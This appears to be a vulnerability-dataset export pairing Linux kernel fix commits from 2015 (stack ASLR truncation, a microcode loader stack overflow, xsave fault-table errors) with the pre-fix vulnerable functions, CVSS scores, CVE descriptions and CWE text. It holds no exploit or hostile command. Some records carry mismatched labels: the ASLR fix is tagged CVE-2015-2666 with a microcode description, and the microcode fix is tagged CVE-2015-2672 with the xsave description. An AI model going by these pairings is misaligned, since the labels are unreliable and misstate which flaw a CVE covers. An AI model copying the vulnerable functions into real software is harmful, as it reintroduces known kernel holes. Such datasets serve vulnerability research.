https://cwe.mitre.org/data/definitions/264.html
1
Hector Marco-Gisbert
2015-02-14 09:33:50-08:00
x86, mm/ASLR: Fix stack randomization on 64-bit systems The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert <[email protected]> Signed-off-by: Ismael Ripoll <[email protected]> [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook <[email protected]> Cc: <[email protected]> Cc: Linus Torvalds <[email protected]> Cc: Andrew Morton <[email protected]> Cc: Al Viro <[email protected]> Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Borislav Petkov <[email protected]>
4e7c22d447bb6d7e37bfe39ff658486ae78e8d77
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
randomize_stack_top
randomize_stack_top( unsigned long stack_top)
['stack_top']
static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } #ifdef CONFIG_STACK_GROWSUP return PAGE_ALIGN(stack_top) + random_variable; #else return PAGE_ALIGN(stack_top) - random_variable; #endif }
63
True
1
CVE-2015-2666
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204722', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204722', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/03/20/18', 'name': '[oss-security] 20150320 Re: CVE Request: Linux kernel execution in the early microcode loader.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4', 'name': 'https://github.com/torvalds/linux/commit/f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153329.html', 'name': 'FEDORA-2015-4457', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1534.html', 'name': 'RHSA-2015:1534', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032414', 'name': '1032414', 'refsource': 'SECTRACK', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Stack-based buffer overflow in the get_matching_model_microcode function in arch/x86/kernel/cpu/microcode/intel_early.c in the Linux kernel before 4.0 allows context-dependent attackers to gain privileges by constructing a crafted microcode header and leveraging root privileges for write access to the initrd.'}]
2016-12-31T02:59Z
2015-05-27T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Quentin Casasnovas
2015-02-03 13:00:22+01:00
x86/microcode/intel: Guard against stack overflow in the loader mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas <[email protected]> Cc: "H. Peter Anvin" <[email protected]> Cc: Fenghua Yu <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Borislav Petkov <[email protected]>
f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
get_matching_model_microcode
get_matching_model_microcode( int cpu , unsigned long start , void * data , size_t size , struct mc_saved_data * mc_saved_data , unsigned long * mc_saved_in_initrd , struct ucode_cpu_info * uci)
['cpu', 'start', 'data', 'size', 'mc_saved_data', 'mc_saved_in_initrd', 'uci']
get_matching_model_microcode(int cpu, unsigned long start, void *data, size_t size, struct mc_saved_data *mc_saved_data, unsigned long *mc_saved_in_initrd, struct ucode_cpu_info *uci) { u8 *ucode_ptr = data; unsigned int leftover = size; enum ucode_state state = UCODE_OK; unsigned int mc_size; struct microcode_header_intel *mc_header; struct microcode_intel *mc_saved_tmp[MAX_UCODE_COUNT]; unsigned int mc_saved_count = mc_saved_data->mc_saved_count; int i; while (leftover) { mc_header = (struct microcode_header_intel *)ucode_ptr; mc_size = get_totalsize(mc_header); if (!mc_size || mc_size > leftover || microcode_sanity_check(ucode_ptr, 0) < 0) break; leftover -= mc_size; /* * Since APs with same family and model as the BSP may boot in * the platform, we need to find and save microcode patches * with the same family and model as the BSP. */ if (matching_model_microcode(mc_header, uci->cpu_sig.sig) != UCODE_OK) { ucode_ptr += mc_size; continue; } _save_mc(mc_saved_tmp, ucode_ptr, &mc_saved_count); ucode_ptr += mc_size; } if (leftover) { state = UCODE_ERROR; goto out; } if (mc_saved_count == 0) { state = UCODE_NFOUND; goto out; } for (i = 0; i < mc_saved_count; i++) mc_saved_in_initrd[i] = (unsigned long)mc_saved_tmp[i] - start; mc_saved_data->mc_saved_count = mc_saved_count; out: return state; }
230
True
1
CVE-2015-2672
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/03/22/1', 'name': '[oss-security] 20150321 Re: CVE Request: Linux kernel unprivileged denial-of-service due to mis-protected xsave/xrstor instructions.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The xsave/xrstor implementation in arch/x86/include/asm/xsave.h in the Linux kernel before 3.19.2 creates certain .altinstr_replacement pointers and consequently does not provide any protection against instruction faulting, which allows local users to cause a denial of service (panic) by triggering a fault, as demonstrated by an unaligned memory operand or a non-canonical address memory operand.'}]
2016-05-06T16:46Z
2016-05-02T10:59Z
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
Quentin Casasnovas
2015-03-05 13:19:22+01:00
x86/fpu/xsaves: Fix improper uses of __ex_table Commit: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") introduced alternative instructions for XSAVES/XRSTORS and commit: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") added support for the XSAVES/XRSTORS instructions at boot time. Unfortunately both failed to properly protect them against faulting: The 'xstate_fault' macro will use the closest label named '1' backward and that ends up in the .altinstr_replacement section rather than in .text. This means that the kernel will never find in the __ex_table the .text address where this instruction might fault, leading to serious problems if userspace manages to trigger the fault. Signed-off-by: Quentin Casasnovas <[email protected]> Signed-off-by: Jamie Iles <[email protected]> [ Improved the changelog, fixed some whitespace noise. ] Acked-by: Borislav Petkov <[email protected]> Acked-by: Linus Torvalds <[email protected]> Cc: <[email protected]> Cc: Allan Xavier <[email protected]> Cc: H. Peter Anvin <[email protected]> Cc: Thomas Gleixner <[email protected]> Fixes: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") Fixes: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") Signed-off-by: Ingo Molnar <[email protected]>
06c8173eb92bbfc03a0fe8bb64315857d0badd06
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
xrstor_state
xrstor_state( struct xsave_struct * fx , u64 mask)
['fx', 'mask']
static inline int xrstor_state(struct xsave_struct *fx, u64 mask) { int err = 0; u32 lmask = mask; u32 hmask = mask >> 32; /* * Use xrstors to restore context if it is enabled. xrstors supports * compacted format of xsave area which is not supported by xrstor. */ alternative_input( "1: " XRSTOR, "1: " XRSTORS, X86_FEATURE_XSAVES, "D" (fx), "m" (*fx), "a" (lmask), "d" (hmask) : "memory"); asm volatile("2:\n" xstate_fault : "0" (0) : "memory"); return err; }
81
True
1
CVE-2015-2672
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/03/22/1', 'name': '[oss-security] 20150321 Re: CVE Request: Linux kernel unprivileged denial-of-service due to mis-protected xsave/xrstor instructions.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The xsave/xrstor implementation in arch/x86/include/asm/xsave.h in the Linux kernel before 3.19.2 creates certain .altinstr_replacement pointers and consequently does not provide any protection against instruction faulting, which allows local users to cause a denial of service (panic) by triggering a fault, as demonstrated by an unaligned memory operand or a non-canonical address memory operand.'}]
2016-05-06T16:46Z
2016-05-02T10:59Z
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
Quentin Casasnovas
2015-03-05 13:19:22+01:00
x86/fpu/xsaves: Fix improper uses of __ex_table Commit: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") introduced alternative instructions for XSAVES/XRSTORS and commit: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") added support for the XSAVES/XRSTORS instructions at boot time. Unfortunately both failed to properly protect them against faulting: The 'xstate_fault' macro will use the closest label named '1' backward and that ends up in the .altinstr_replacement section rather than in .text. This means that the kernel will never find in the __ex_table the .text address where this instruction might fault, leading to serious problems if userspace manages to trigger the fault. Signed-off-by: Quentin Casasnovas <[email protected]> Signed-off-by: Jamie Iles <[email protected]> [ Improved the changelog, fixed some whitespace noise. ] Acked-by: Borislav Petkov <[email protected]> Acked-by: Linus Torvalds <[email protected]> Cc: <[email protected]> Cc: Allan Xavier <[email protected]> Cc: H. Peter Anvin <[email protected]> Cc: Thomas Gleixner <[email protected]> Fixes: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") Fixes: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") Signed-off-by: Ingo Molnar <[email protected]>
06c8173eb92bbfc03a0fe8bb64315857d0badd06
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
xrstor_state_booting
xrstor_state_booting( struct xsave_struct * fx , u64 mask)
['fx', 'mask']
static inline int xrstor_state_booting(struct xsave_struct *fx, u64 mask) { u32 lmask = mask; u32 hmask = mask >> 32; int err = 0; WARN_ON(system_state != SYSTEM_BOOTING); if (boot_cpu_has(X86_FEATURE_XSAVES)) asm volatile("1:"XRSTORS"\n\t" "2:\n\t" : : "D" (fx), "m" (*fx), "a" (lmask), "d" (hmask) : "memory"); else asm volatile("1:"XRSTOR"\n\t" "2:\n\t" : : "D" (fx), "m" (*fx), "a" (lmask), "d" (hmask) : "memory"); asm volatile(xstate_fault : "0" (0) : "memory"); return err; }
127
True
1
CVE-2015-2672
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/03/22/1', 'name': '[oss-security] 20150321 Re: CVE Request: Linux kernel unprivileged denial-of-service due to mis-protected xsave/xrstor instructions.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The xsave/xrstor implementation in arch/x86/include/asm/xsave.h in the Linux kernel before 3.19.2 creates certain .altinstr_replacement pointers and consequently does not provide any protection against instruction faulting, which allows local users to cause a denial of service (panic) by triggering a fault, as demonstrated by an unaligned memory operand or a non-canonical address memory operand.'}]
2016-05-06T16:46Z
2016-05-02T10:59Z
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
Quentin Casasnovas
2015-03-05 13:19:22+01:00
x86/fpu/xsaves: Fix improper uses of __ex_table Commit: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") introduced alternative instructions for XSAVES/XRSTORS and commit: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") added support for the XSAVES/XRSTORS instructions at boot time. Unfortunately both failed to properly protect them against faulting: The 'xstate_fault' macro will use the closest label named '1' backward and that ends up in the .altinstr_replacement section rather than in .text. This means that the kernel will never find in the __ex_table the .text address where this instruction might fault, leading to serious problems if userspace manages to trigger the fault. Signed-off-by: Quentin Casasnovas <[email protected]> Signed-off-by: Jamie Iles <[email protected]> [ Improved the changelog, fixed some whitespace noise. ] Acked-by: Borislav Petkov <[email protected]> Acked-by: Linus Torvalds <[email protected]> Cc: <[email protected]> Cc: Allan Xavier <[email protected]> Cc: H. Peter Anvin <[email protected]> Cc: Thomas Gleixner <[email protected]> Fixes: adb9d526e982 ("x86/xsaves: Add xsaves and xrstors support for booting time") Fixes: f31a9f7c7169 ("x86/xsaves: Use xsaves/xrstors to save and restore xsave area") Signed-off-by: Ingo Molnar <[email protected]>
06c8173eb92bbfc03a0fe8bb64315857d0badd06
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
xsave_state
xsave_state( struct xsave_struct * fx , u64 mask)
['fx', 'mask']
static inline int xsave_state(struct xsave_struct *fx, u64 mask) { u32 lmask = mask; u32 hmask = mask >> 32; int err = 0; /* * If xsaves is enabled, xsaves replaces xsaveopt because * it supports compact format and supervisor states in addition to * modified optimization in xsaveopt. * * Otherwise, if xsaveopt is enabled, xsaveopt replaces xsave * because xsaveopt supports modified optimization which is not * supported by xsave. * * If none of xsaves and xsaveopt is enabled, use xsave. */ alternative_input_2( "1:"XSAVE, "1:"XSAVEOPT, X86_FEATURE_XSAVEOPT, "1:"XSAVES, X86_FEATURE_XSAVES, [fx] "D" (fx), "a" (lmask), "d" (hmask) : "memory"); asm volatile("2:\n\t" xstate_fault : "0" (0) : "memory"); return err; }
83
True
1
CVE-2015-2672
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1204729', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/03/22/1', 'name': '[oss-security] 20150321 Re: CVE Request: Linux kernel unprivileged denial-of-service due to mis-protected xsave/xrstor instructions.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'name': 'https://github.com/torvalds/linux/commit/06c8173eb92bbfc03a0fe8bb64315857d0badd06', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.1', 'cpe_name': []}]}]
